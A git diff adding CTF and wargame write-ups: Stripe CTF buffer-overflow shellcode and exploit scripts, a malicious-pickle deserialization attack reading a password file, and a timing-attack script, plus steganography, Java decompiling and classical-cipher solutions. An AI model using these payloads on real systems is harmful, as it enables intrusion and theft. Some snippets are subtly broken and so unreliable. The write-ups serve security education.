\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Solving the Problem
|
||||||
|
|
||||||
|
Now, all we need to do is write a snippet in any language which takes that shellcode and some NOPs to overflow the stack of the *level04*'s' binary. We write the exploit in Python:
|
||||||
|
|
||||||
|
```py
|
||||||
|
import struct, subprocess
|
||||||
|
|
||||||
|
STACK = 0x0804857b
|
||||||
|
NOP = \x90
|
||||||
|
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
|
||||||
|
EXPLOIT = NOP * (1024 - len(SHELLCODE)) + SHELLCODE
|
||||||
|
|
||||||
|
stack_ptr = struct.pack("<I", STACK) * 500
|
||||||
|
array = "%s%s" % (EXPLOIT, stack_ptr)
|
||||||
|
|
||||||
|
while 1:
|
||||||
|
subprocess.call(["/levels/level04", array])
|
||||||
|
```
|
||||||
|
This solution is possible due to the [struct](https://docs.python.org/2/library/struct.html) module, which performs a conversion between Python and C values, and the [subprocess](https://docs.python.org/2/library/subprocess.html) module, which allows us to spawn new processes. The **struct.pack** method returns a string containing the values packet in the specified format (where **<** means little-endian and **I** is unsigned int).
|
||||||
|
|
||||||
|
A [one-line solution in Ruby](https://github.com/stripe-ctf), was given by Stripe and it's worth to mention:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ ruby -e 'print "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42" + "\x90"*987 + "\x7b\x85\x04\x08"'
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
## Level 5: Unpickle exploit
|
||||||
|
|
||||||
|
The fifth level is a uppercasing **web service** written in Python, which is split into an HTTP part, and a worker queue part.
|
||||||
|
|
||||||
|
In this service, a request can be sent with:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ curl localhost:9020 -d 'banana'
|
||||||
|
{
|
||||||
|
"processing_time": 5.0037501611238511e-06,
|
||||||
|
"queue_time": 0.4377421910476061,
|
||||||
|
"result": "BANANA"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
After inspecting the code, we concentrate in the suspicious **deserialize** function that contains the unsafe module [pickle](https://docs.python.org/2/library/pickle.html):
|
||||||
|
|
||||||
|
```py
|
||||||
|
def deserialize(serialized):
|
||||||
|
logger.debug('Deserializing: %r' % serialized)
|
||||||
|
parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
|
||||||
|
match = parser.match(serialized)
|
||||||
|
direction = match.group(1)
|
||||||
|
data = match.group(2)
|
||||||
|
job = pickle.loads(match.group(3))
|
||||||
|
return direction, data, job
|
||||||
|
```
|
||||||
|
|
||||||
|
This is used later in the **serialize** function:
|
||||||
|
|
||||||
|
```py
|
||||||
|
@staticmethod
|
||||||
|
def serialize(direction, data, job):
|
||||||
|
serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job))
|
||||||
|
logger.debug('Serialized to: %r' % serialized)
|
||||||
|
return serialized
|
||||||
|
```
|
||||||
|
|
||||||
|
So, the program serializes jobs with pickle and sends them to a series of workers to deserialize and process the job. Once again, the attack surface is in the user input, which is not properly sanitized: this function allows arbitrary data to be sent to **; job**.
|
||||||
|
|
||||||
|
We can exploit it by making the serialization code execute arbitrary commands by supplying a string such as **; job: <pickled>**. This will run some Python code that will give us the password when unpickled. A great module for this task is [Python's os.system](https://docs.python.org/2/library/os.html#os.system), which executes commands in a subshell.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
An example of exploit in Python is the following:
|
||||||
|
|
||||||
|
```py
|
||||||
|
import pickle, os
|
||||||
|
HOST = 'localhost:9020'
|
||||||
|
|
||||||
|
os.system("/usr/bin/curl", ['', HOST, '-d', \
|
||||||
|
"bla; job: cos\nsystem\n(S'cat /home/level05/.password \
|
||||||
|
> /tmp/pass'\ntR."], {})
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
## Level 6: Timing Attack
|
||||||
|
|
||||||
|
|
||||||
|
And we have reached the sixth level!
|
||||||
|
|
||||||
|
The goal in this level is to read the password from */home/the-flag/.password*. To complete this challenge, another **setuid** binary is given, which can be used to guess the password:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ ./level06 /home/the-flag/.password banana
|
||||||
|
Welcome to the password checker!
|
||||||
|
$ Ha ha, your password is incorrect!
|
||||||
|
```
|
||||||
|
|
||||||
|
This turns out to be a case of [Timing Attack](http://en.wikipedia.org/wiki/Timing_attack), where we are able to detect the output in **stderr** and in **stdout** to find the characters that form the password (by checking the response to wrong characters).
|
||||||
|
|
||||||
|
But there is a twist!
|
||||||
|
|
||||||
|
The program works as the following: for every input character, a loop is executed. A dot is printed after each character comparison. If the guess is wrong, the system forks a child process and runs a little slower (each loop has complexity O(n^2) to the guess size, where the maximum size is **MAX_ARG_STRLEN ~ 0.1 MB**).
|
||||||
|
|
||||||
|
|
||||||
|
There are several [elegant solutions in the Internet](https://github.com/stripe-ctf/stripe-ctf/blob/master/code/level06/level06.c), but a very simple possible shell exploit is the shown:
|
||||||
|
|
||||||
|
```
|
||||||
|
#!\bin\bash
|
||||||
|
for c in {A..Z} {a..z} {0..9}; do
|
||||||
|
echo $c
|
||||||
|
head -c35 file & sleep 0.1
|
||||||
|
/levels/level06 /home/the-flag/.password "$c"A 2> file
|
||||||
|
done
|
||||||
|
```
|
||||||
|
|
||||||
|
**And we get our flag! Fun! :) **
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Andy Brody's Post](https://stripe.com/blog/capture-the-flag-wrap-up)
|
||||||
|
* [Stripe CTF Repository](https://github.com/stripe-ctf)
|
||||||
|
* Pickle Modules is unsafe! [Here](https://blog.nelhage.com/2011/03/exploiting-pickle/) and [here](http://penturalabs.wordpress.com/2011/03/17/python-cpickle-allows-for-arbitrary-code-execution/).
|
||||||
|
* Some other writeups: [here](http://blog.delroth.net/2012/03/my-stripe-ctf-writeup/), [here](https://khr0x40sh.wordpress.com/2012/02/), [here](http://du.nham.ca/blog/posts/2012/03/20/stripe-ctf/), and [here](https://isisblogs.poly.edu/2012/03/23/stripe-ctf-level01/).
|
||||||
|
|
||||||
|
|
||||||
|
--------------
|
||||||
|
|
159
CTFs_and_WarGames/CTFs_Writeups/Shariff_University/README.md
Normal file
159
CTFs_and_WarGames/CTFs_Writeups/Shariff_University/README.md
Normal file
@ -0,0 +1,159 @@
|
|||||||
|
# The Sharif University CTF 2014
|
||||||
|
|
||||||
|
|
||||||
|
## Avatar: Steganography
|
||||||
|
|
||||||
|
The challenge starts with:
|
||||||
|
> A terrorist has changed his picture in a social network. What is the hidden message?
|
||||||
|
|
||||||
|
And the following image:
|
||||||
|
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
For this problem, I use [OutGuess], which can be installed as:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ tar -zxvf outguess-0.2.tar.gz
|
||||||
|
$ cd outguess
|
||||||
|
$ ./configure && make
|
||||||
|
```
|
||||||
|
Running it will give us the flag:
|
||||||
|
```sh
|
||||||
|
$ ./outguess -r lamb.jpg pass.txt
|
||||||
|
Reading ../lamb.jpg....
|
||||||
|
Extracting usable bits: 28734 bits
|
||||||
|
Steg retrieve: seed: 94, len: 41
|
||||||
|
$ cat pass.txt
|
||||||
|
We should blow up the bridge at midnight
|
||||||
|
```
|
||||||
|
|
||||||
|
__________________________
|
||||||
|
|
||||||
|
## What is this: Steganography
|
||||||
|
|
||||||
|
This challenge has a very short text:
|
||||||
|
|
||||||
|
> Find the flag.
|
||||||
|
|
||||||
|
Together with two pictures:
|
||||||
|
|
||||||
|

|
||||||
|

|
||||||
|
|
||||||
|
After the usual inspection (tail, file, diff, compare), I applied my knowledge of a former astrophysicist to inspect what would happen if I added or subtracted the picture. I wrote the following script:
|
||||||
|
|
||||||
|
```py
|
||||||
|
import sys
|
||||||
|
|
||||||
|
from scipy.misc import imread, imsave
|
||||||
|
|
||||||
|
def compare_images(img1, img2):
|
||||||
|
diff = img1 + img2
|
||||||
|
imsave('sum.png', diff)
|
||||||
|
diff = img1 - img2
|
||||||
|
imsave('diff.png', diff)
|
||||||
|
|
||||||
|
def main():
|
||||||
|
file1, file2 = sys.argv[1:1+2]
|
||||||
|
img1 = imread(file1).astype(float)
|
||||||
|
img2 = imread(file2).astype(float)
|
||||||
|
compare_images(img1, img2)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
Running it, give us the flag!
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
--------------------
|
||||||
|
## Guess the number: Reverse Engineering
|
||||||
|
|
||||||
|
This problem starts with another not very informative text:
|
||||||
|
> Guess the number and find the flag.
|
||||||
|
|
||||||
|
Then it gives us a *java class* file. It was clear that we needed to decompile it. I'm using
|
||||||
|
[jad]for this task:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ jad guess.class
|
||||||
|
```
|
||||||
|
|
||||||
|
Now, opening this file in a text editor, we can see how to generate the flag:
|
||||||
|
```java
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
```java
|
||||||
|
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
|
||||||
|
// Jad home page: http://www.geocities.com/kpdus/jad.html
|
||||||
|
// Decompiler options: packimports(3)
|
||||||
|
// Source File Name: guess.java
|
||||||
|
|
||||||
|
(...)
|
||||||
|
String str_one = "4b64ca12ace755516c178f72d05d7061";
|
||||||
|
String str_two = "ecd44646cfe5994ebeb35bf922e25dba";
|
||||||
|
String answer = XOR(str_one, str_two);
|
||||||
|
System.out.println((new StringBuilder("your flag is: ")).append(answer).toString());
|
||||||
|
```
|
||||||
|
Running the modified version gives us:
|
||||||
|
```java
|
||||||
|
$ javac -g guess.java
|
||||||
|
$ java guess
|
||||||
|
your flag is: a7b08c546302cc1fd2a4d48bf2bf2ddb
|
||||||
|
```
|
||||||
|
|
||||||
|
_________________
|
||||||
|
## Sudoku image encryption - cryptography
|
||||||
|
|
||||||
|
This challenge starts with the following text:
|
||||||
|
> Row Major Order
|
||||||
|
|
||||||
|
And it gives us two pictures: a map and a sudoku.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
We solve the sudoku and write the solution in a script to reorder the blocks:
|
||||||
|
```python
|
||||||
|
from PIL import Image
|
||||||
|
|
||||||
|
|
||||||
|
# solved sudoku
|
||||||
|
sudoku = '''
|
||||||
|
964127538
|
||||||
|
712385694
|
||||||
|
385496712
|
||||||
|
491578263
|
||||||
|
238614975
|
||||||
|
576239841
|
||||||
|
627843159
|
||||||
|
153962487
|
||||||
|
849751326
|
||||||
|
'''
|
||||||
|
s = sudoku.replace('\n', '')
|
||||||
|
|
||||||
|
image = Image.open('image.png').convert('RGB')
|
||||||
|
out = Image.new('RGB', image.size)
|
||||||
|
|
||||||
|
for j in range(9):
|
||||||
|
for i in range(9):
|
||||||
|
img_cell = image.crop((i * 50, j * 50, i * 50 + 50, j * 50 + 50))
|
||||||
|
c = (int(s[j * 9 + i]) - 1) * 50
|
||||||
|
out.paste(img_cell, (c, j * 50))
|
||||||
|
|
||||||
|
out.save('out_image.png')
|
||||||
|
```
|
||||||
|
|
||||||
|
This gives us our flag:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
** Hack all the things! **
|
||||||
|
|
||||||
|
|
||||||
|
[OutGuess]: http://www.outguess.org/download.php
|
||||||
|
[jad]: http://varaneckas.com/jad/
|
||||||
|
|
@ -1,21 +0,0 @@
|
|||||||
The MIT License (MIT)
|
|
||||||
|
|
||||||
Copyright (c) 2014 Mari Wahl
|
|
||||||
|
|
||||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
||||||
of this software and associated documentation files (the "Software"), to deal
|
|
||||||
in the Software without restriction, including without limitation the rights
|
|
||||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
||||||
copies of the Software, and to permit persons to whom the Software is
|
|
||||||
furnished to do so, subject to the following conditions:
|
|
||||||
|
|
||||||
The above copyright notice and this permission notice shall be included in all
|
|
||||||
copies or substantial portions of the Software.
|
|
||||||
|
|
||||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
||||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
||||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
||||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
||||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
||||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
||||||
SOFTWARE.
|
|
@ -1,30 +1,19 @@
|
|||||||
CTFs & Wargames Archives
|
# CTFs & Wargames
|
||||||
========================
|
|
||||||
|
|
||||||
# CTFs
|
|
||||||
|
|
||||||
## 2014
|
|
||||||
|
|
||||||
- ASIS Final
|
- ASIS Final
|
||||||
- CSAW Quals
|
- CSAW Quals
|
||||||
- Hack.lu
|
- Hack.lu
|
||||||
- Stripe 1, 2, 3
|
- Stripe 1, 2, 3
|
||||||
- 9447
|
- 9447
|
||||||
|
- OverTheWire
|
||||||
|
|
||||||
---
|
|
||||||
# Wargames
|
|
||||||
|
|
||||||
## 2014
|
|
||||||
|
|
||||||
- OverTheWire: Krypton, Narnia
|
|
||||||
|
|
||||||
|
|
||||||
----
|
----
|
||||||
|
|
||||||
# Trivia List (For Reference)
|
# Trivia List
|
||||||
|
|
||||||
## CSAW CTF 2014
|
## CSAW CTF
|
||||||
|
|
||||||
1. This is the name of the new USENIX workshop that featured papers on CTFs being used for education. Answer: **3GSE**
|
1. This is the name of the new USENIX workshop that featured papers on CTFs being used for education. Answer: **3GSE**
|
||||||
|
|
||||||
@ -44,7 +33,7 @@ Answer: **RET**
|
|||||||
# Recon
|
# Recon
|
||||||
|
|
||||||
|
|
||||||
### Searching the Internets
|
### Searching the Interwebs
|
||||||
|
|
||||||
The recon problems usually give you someone/something's name and a task or a hint to find some specific information about it. So the first thing is of course google it.
|
The recon problems usually give you someone/something's name and a task or a hint to find some specific information about it. So the first thing is of course google it.
|
||||||
|
|
||||||
@ -107,4 +96,3 @@ Google anything using keywords such as ```filetype:cgi inurl:cgi-bin```
|
|||||||
[namechk]: http://namechk.com
|
[namechk]: http://namechk.com
|
||||||
|
|
||||||
|
|
||||||
----
|
|
||||||
|
@ -1,3 +1,9 @@
|
|||||||
## Writeups:
|
# Wargames Writeups
|
||||||
|
|
||||||
[Narnia 1-5]: http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html
|
### OverTheWire
|
||||||
|
|
||||||
|
[Wargames]: http://overthewire.org/wargames/
|
||||||
|
|
||||||
|
* krypton
|
||||||
|
* narnia
|
||||||
|
* natas
|
||||||
|
318
CTFs_and_WarGames/WARGAMES/krypton/README.md
Normal file
318
CTFs_and_WarGames/WARGAMES/krypton/README.md
Normal file
@ -0,0 +1,318 @@
|
|||||||
|
# Cryptography War: Beating Krypton
|
||||||
|
|
||||||
|
The problems are very straightforward and very similar to those from the last [CSAW CTF] ([see my post here]).
|
||||||
|
|
||||||
|
|
||||||
|
**Disclaimer**: if you haven't played WarGames, but you are planning to, PLEASE DON'T READ ANY FURTHER. If you don't try to solve the problems by yourself first, you will be wasting your time.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
[Cryptol]: http://www.cryptol.net/
|
||||||
|
[Continuing to talk about]: http://https://singularity-sh.vercel.app/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html
|
||||||
|
[Wargames]: http://overthewire.org/wargames/
|
||||||
|
[Krypton]: http://overthewire.org/wargames/krypton/
|
||||||
|
[CSAW CTF]: https://ctf.isis.poly.edu/
|
||||||
|
[see my post here]: http://https://singularity-sh.vercel.app/csaw-ctf-2014-cryptography-200.html
|
||||||
|
|
||||||
|
|
||||||
|
## Level 0: Base64 Transformation
|
||||||
|
|
||||||
|
|
||||||
|
This level starts with:
|
||||||
|
|
||||||
|
> The following string encodes the password using Base64:
|
||||||
|
S1JZUFRPTklTR1JFQVQ=
|
||||||
|
> Use this password to log in to krypton.labs.overthewire.org with username krypton1 using SSH. You can the files for other levels in /krypton/.
|
||||||
|
|
||||||
|
|
||||||
|
[Base64] is just a way to represent binary data in ASCII, by translating it into a radix-64. Linux provides a built-in Base64 encoder/decoder tool, so all we need to do is:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ base64 -d KRYPTON0.txt
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
[Base64]: http://en.wikipedia.org/wiki/Base64
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
## Level 1: Classic Caesar Cypher
|
||||||
|
|
||||||
|
The second level starts with:
|
||||||
|
|
||||||
|
> The password for level 2 is in the file ‘krypton2’. It is ‘encrypted’ using a simple rotation. It is also in non-standard ciphertext format. When using alpha characters for ciphertext it is normal to group the letters into five letter clusters, regardless of word boundaries. This helps obfuscate any patterns. This file has kept the plain text word boundaries and carried them to the ciphertext. Enjoy!
|
||||||
|
|
||||||
|
|
||||||
|
This is the classic [Caesar Cypher] (they really love this thing :).
|
||||||
|
|
||||||
|
In Caesar’s cipher, the letters in the plaintext are shifted by a fixed number of elements down the alphabet. For example, if the shift is 3, A becomes D , B becomes E , and so on. Once we run out of letters, we circle back to A.
|
||||||
|
|
||||||
|
We can solve this challenge in a few lines using Linux's built-in [tr] (translate tool):
|
||||||
|
|
||||||
|
```
|
||||||
|
krypton1@melinda:/krypton/krypton1$ VAR=$(cat krypton2)
|
||||||
|
krypton1@melinda:/krypton/krypton1$ echo $VAR
|
||||||
|
YRIRY GJB CNFFJBEQ EBGGRA
|
||||||
|
krypton1@melinda:/krypton/krypton1$ alias rot13="tr A-Za-z N-ZA-Mn-za-m"
|
||||||
|
krypton1@melinda:/krypton/krypton1$ echo "$VAR" | rot13
|
||||||
|
```
|
||||||
|
|
||||||
|
[Caesar Cypher]: http://en.wikipedia.org/wiki/Caesar_cipher
|
||||||
|
[tr]: http://linux.die.net/man/1/tr
|
||||||
|
|
||||||
|
|
||||||
|
-----
|
||||||
|
|
||||||
|
## Level 2
|
||||||
|
|
||||||
|
The third level starts with:
|
||||||
|
|
||||||
|
> ROT13 is a simple substitution cipher.
|
||||||
|
|
||||||
|
> Substitution ciphers are a simple replacement algorithm. In this example of a substitution cipher, we will explore a 'monoalphabetic' cipher. Monoalphebetic means, literally, "one alphabet" and you will see why.
|
||||||
|
|
||||||
|
> This level contains an old form of cipher called a 'Caesar Cipher'.
|
||||||
|
> A Caesar cipher shifts the alphabet by a set number. For example:
|
||||||
|
|
||||||
|
> plain: a b c d e f g h i j k ...
|
||||||
|
> cipher: G H I J K L M N O P Q ...
|
||||||
|
|
||||||
|
> In this example, the letter 'a' in plaintext is replaced by a 'G' in the ciphertext so, for example, the plaintext 'bad' becomes 'HGJ' in ciphertext.
|
||||||
|
|
||||||
|
> The password for level 3 is in the file krypton3. It is in 5 letter group ciphertext. It is encrypted with a Caesar Cipher. Without any further information, this ciphertext may be challenging to break. You do not have direct access to the key, however, you do have access to a program that will encrypt anything you wish to give it using the key. If you think logically, this is completely easy.
|
||||||
|
|
||||||
|
|
||||||
|
First, we make a file filled with the alphabet, so we can test the binary:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ ln -s /krypton/krypton2/keyfile.dat keyfile.dat
|
||||||
|
$ echo {A..Z} {a..z} > file
|
||||||
|
$ cat file
|
||||||
|
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z
|
||||||
|
```
|
||||||
|
|
||||||
|
Running the binary:
|
||||||
|
```
|
||||||
|
$ /krypton/krypton2/encrypt file
|
||||||
|
$ cat ciphertext
|
||||||
|
MNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKL
|
||||||
|
```
|
||||||
|
|
||||||
|
We see a ROT14 (since ROT13 starts in N).
|
||||||
|
|
||||||
|
As a second way to find the rotation, we could use [ltrace]:
|
||||||
|
```
|
||||||
|
$ ltrace /krypton/krypton2/encrypt file | less
|
||||||
|
```
|
||||||
|
|
||||||
|
Which shows things such as:
|
||||||
|
|
||||||
|
```
|
||||||
|
fgetc(0x602250) = 'A'
|
||||||
|
toupper('A') = 'A'
|
||||||
|
isalpha(65, 65, 0x7ffff7dd0d00, -1, 0xffffffff) = 1024
|
||||||
|
fputc('M', 0x602490) = 77
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
Now that we know the rotation number, we can decrypt the password in the same way as we did in the previous level:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
krypton2@melinda:/tmp$ alias rot14="tr A-Z O-ZA-N"
|
||||||
|
krypton2@melinda:/tmp$ echo "$VAR" | rot14
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
[ltrace]: http://linux.die.net/man/1/ltrace
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Level 3: Frequency Analysis
|
||||||
|
|
||||||
|
This level starts with:
|
||||||
|
|
||||||
|
> Well done. You've moved past an easy substitution cipher.
|
||||||
|
|
||||||
|
> Hopefully you just encrypted the alphabet a plaintext to fully expose the key in one swoop.
|
||||||
|
|
||||||
|
> The main weakness of a simple substitution cipher is repeated use of a simple key. In the previous exercise, you were able to introduce arbitrary plaintext to expose the key. In this example, the cipher mechanism is not available to you, the attacker.
|
||||||
|
|
||||||
|
> However, you have been lucky. You have intercepted more than one message. The password to the next level is found in the file 'krypton4'. You have also found three other files. (found1, found2, found3)
|
||||||
|
|
||||||
|
|
||||||
|
This time we have to use [frequency analysis] to count the number of times each letter appears in our message. The results are compared to the frequency in each we see letters in English. This is enough to break this type of cipher.
|
||||||
|
|
||||||
|
For this purpose, I wrote the following script:
|
||||||
|
|
||||||
|
|
||||||
|
```python
|
||||||
|
import string
|
||||||
|
import sys
|
||||||
|
import operator
|
||||||
|
|
||||||
|
FREQ_ENGLISH = [0.0749, 0.0129, 0.0354, 0.0362, 0.1400, 0.0218, 0.0174, 0.0422, 0.0665, 0.0027, 0.0047, 0.0357,0.0339, 0.0674, 0.0737, 0.0243, 0.0026, 0.0614, 0.0695, 0.0985, 0.0300, 0.0116, 0.0169, 0.0028, 0.0164, 0.0004]
|
||||||
|
|
||||||
|
def find_frequency(msg):
|
||||||
|
dict_freq = dict([(c, 0) for c in string.lowercase])
|
||||||
|
total_letters = 0.0
|
||||||
|
for c in msg.lower():
|
||||||
|
if 'a'<= c <= 'z':
|
||||||
|
dict_freq[c] += 1
|
||||||
|
total_letters += 1
|
||||||
|
list_freq = sorted(dict_freq.items(), key=operator.itemgetter(1))
|
||||||
|
return [(c, freq/total_letters) for (c, freq) in list_freq]
|
||||||
|
|
||||||
|
def main(filename):
|
||||||
|
with open(filename, 'r') as f:
|
||||||
|
cipher = f.readlines()
|
||||||
|
cipher = cipher[0].strip()
|
||||||
|
flist = find_frequency(cipher)
|
||||||
|
elist = dict((k, value) for (k, value) in zip(string.lowercase, FREQ_ENGLISH))
|
||||||
|
elist = sorted(elist.items(), key=operator.itemgetter(1))
|
||||||
|
trans, key = '', ''
|
||||||
|
for i, f in enumerate(flist):ls
|
||||||
|
trans += f[0]
|
||||||
|
key += elist[i][0]
|
||||||
|
print "CIPHER: %s -> %.5f, ENGLISH: %s -> %.5f" %(f[0], f[1], elist[i][0], elist[i][1])
|
||||||
|
print "Key is " + key + " for " + trans
|
||||||
|
|
||||||
|
# print key sorted to translate to a-z
|
||||||
|
res = zip(trans, key)
|
||||||
|
res.sort()
|
||||||
|
trans, key = '', ''
|
||||||
|
for letter in res:
|
||||||
|
trans += letter[1].upper()
|
||||||
|
key += letter[0].upper()
|
||||||
|
print "tr [" + key + "] [" + trans + "]"
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main(str(sys.argv[1]))
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
Running it gives us the key:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ cat /krypton/krypton3/found1 > cipher
|
||||||
|
$ cat /krypton/krypton3/found2 >> cipher
|
||||||
|
$ cat /krypton/krypton3/found3 >> cipher
|
||||||
|
$ /krypton/krypton3$ python freq.py cipher
|
||||||
|
$ alias rotvi='tr ABCDEFGHIJKLMNOPQRSTUVWXYZ BOIHPKNQVTWGURXZAJEYSLDFPU'
|
||||||
|
$ cat /krypton/krypton3/krypton4 | rotvi
|
||||||
|
```
|
||||||
|
|
||||||
|
We could also use [this online tool] to find the frequencies.
|
||||||
|
|
||||||
|
[this online tool]: http://www.richkni.co.uk/php/crypta/freq.php
|
||||||
|
|
||||||
|
[frequency analysis]: http://en.wikipedia.org/wiki/Frequency_analysis
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
## Level 4: Vigenere Cipher I
|
||||||
|
|
||||||
|
The fifth level starts with:
|
||||||
|
|
||||||
|
> So far we have worked with simple substitution ciphers. They have also been ‘monoalphabetic’, meaning using a fixed key, and giving a one to one mapping of plaintext (P) to ciphertext (C). Another type of substitution cipher is referred to as ‘polyalphabetic’, where one character of P may map to many, or all, possible ciphertext characters.
|
||||||
|
|
||||||
|
> An example of a polyalphabetic cipher is called a Vigenère Cipher. It works like this:
|
||||||
|
|
||||||
|
> If we use the key(K) ‘GOLD’, and P = PROCEED MEETING AS AGREED, then “add” P to K, we get C. When adding, if we exceed 25, then we roll to 0 (modulo 26).
|
||||||
|
|
||||||
|
> P P R O C E E D M E E T I N G A S A G R E E D\
|
||||||
|
> K G O L D G O L D G O L D G O L D G O L D G O\
|
||||||
|
> becomes:
|
||||||
|
|
||||||
|
> P 15 17 14 2 4 4 3 12 4 4 19 8 13 6 0 18 0 6 17 4 4 3\
|
||||||
|
> K 6 14 11 3 6 14 11 3 6 14 11 3 6 14 11 3 6 14 11 3 6 14\
|
||||||
|
> C 21 5 25 5 10 18 14 15 10 18 4 11 19 20 11 21 6 20 2 8 10 17\
|
||||||
|
> So, we get a ciphertext of:
|
||||||
|
|
||||||
|
> VFZFK SOPKS ELTUL VGUCH KR
|
||||||
|
> This level is a Vigenère Cipher. You have intercepted two longer, english language messages. You also have a key piece of information. You know the key length!
|
||||||
|
|
||||||
|
This is a classic case of [Vigenere cipher], which is a variation on Caesar’s cipher. In this case, one uses multiple shift amounts according to a keyword.
|
||||||
|
|
||||||
|
To solve this, we use the [pygenere] library in Python. First, we need to find the key:
|
||||||
|
|
||||||
|
```pyhton
|
||||||
|
import sys
|
||||||
|
from pygenere import Vigenere, VigCrack
|
||||||
|
|
||||||
|
def get_key(msg):
|
||||||
|
# Vigenere Cypher
|
||||||
|
key = VigCrack(msg).crack_codeword()
|
||||||
|
dec_msg = VigCrack(msg).crack_message()
|
||||||
|
dec_msg = dec_msg.replace(" ", "")
|
||||||
|
return key, dec_msg
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
# getting the key
|
||||||
|
with open('cipher', 'r') as f:
|
||||||
|
msg = f.readlines()
|
||||||
|
msg_in = msg[0].strip()
|
||||||
|
key, answer = get_key(msg_in)
|
||||||
|
print 'Message: ' + msg_in
|
||||||
|
print
|
||||||
|
print 'Answer: ' + answer
|
||||||
|
print '(key: ' + key + ')'
|
||||||
|
```
|
||||||
|
|
||||||
|
The deciphered text is:
|
||||||
|
> THESOLDIERWITHTHEGREENWHISKERSLEDTHEMTHROUGHTHESTREETSOFTHEEMERALDCITYUNTILTHEYREACHED
|
||||||
|
THEROOMWHERETHEGUARDIANOFTHEGATESLIVEDTHISOFFICERUNLOCKEDTHEIRSPECTACLESTOPUTTHEMBACK
|
||||||
|
INHISGREATBOXANDTHENHEPOLITELYOPENEDTHEGATEFOROURFRIENDSWHICHROADLEADSTOTHEWICKEDWITCHOF
|
||||||
|
THEWESTASKEDDOROTHYTHEREISNOROADANSWEREDTHEGUARDIANOFTHEGATESNOONEEVERWISHESTOGOTHATWAY
|
||||||
|
HOWTHENAREWETOFINDHERINQUIREDTHEGIRLTHATWILLBEEASYREPLIEDTHEMANFORWHENSHEKNOWSYOUAREIN
|
||||||
|
THECOUNTRYOFTHEWINKIESSHEWILLFINDYOUANDMAKEYOUALLHERSLAVESPERHAPSNOTSAIDTHESCARECROWFOR
|
||||||
|
WEMEANTODESTROYHEROHTHATISDIFFERENTSAIDTHEGUARDIANOFTHEGATESNOONEHASEVERDESTROYEDHER
|
||||||
|
BEFORESOINATURALLYTHOUGHTSHEWOULDMAKESLAVESOFYOUASSHEHASOFTHERESTBUTTAKECAREFORSHEIS
|
||||||
|
WICKEDANDFIERCEANDMAYNOTALLOWYOUTODESTROYHERKEEPTOTHEWESTWHERETHESUNSETSANDYOUCANNOT
|
||||||
|
